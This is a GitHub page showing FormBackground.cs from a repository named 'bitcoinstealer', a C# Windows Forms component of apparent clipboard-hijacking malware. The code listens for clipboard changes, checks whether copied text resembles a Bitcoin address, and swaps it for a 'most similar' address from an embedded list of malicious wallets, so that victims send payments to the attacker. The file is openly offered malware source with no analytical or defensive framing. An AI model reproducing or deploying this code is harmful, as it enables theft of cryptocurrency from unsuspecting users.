forked from Souhardya/bitcoinstealer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathFormBackground.cs
54 lines (34 loc) · 1.32 KB
/
FormBackground.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
using System;
using System.Linq;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace BitcoinStealer
{
public partial class FormBackground : Form
{
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool AddClipboardFormatListener(IntPtr hwnd);
private string _origClpbrdTxt;
public FormBackground()
{
InitializeComponent();
AddClipboardFormatListener(Handle);
}
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
if (m.Msg != 0x031D) return;
if (!Clipboard.ContainsText()) return;
var clpbrd = Clipboard.GetText();
if (!stealer.ProbablyBtcAddress(clpbrd)) return;
if (clpbrd == _origClpbrdTxt) return;
_origClpbrdTxt = clpbrd;
if (
Resources.maliciouswallet.Split(new[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries)
.ToList()
.Contains(clpbrd)) return;
stealer.SetMostSimilarBtcAddress(clpbrd);
}
}
}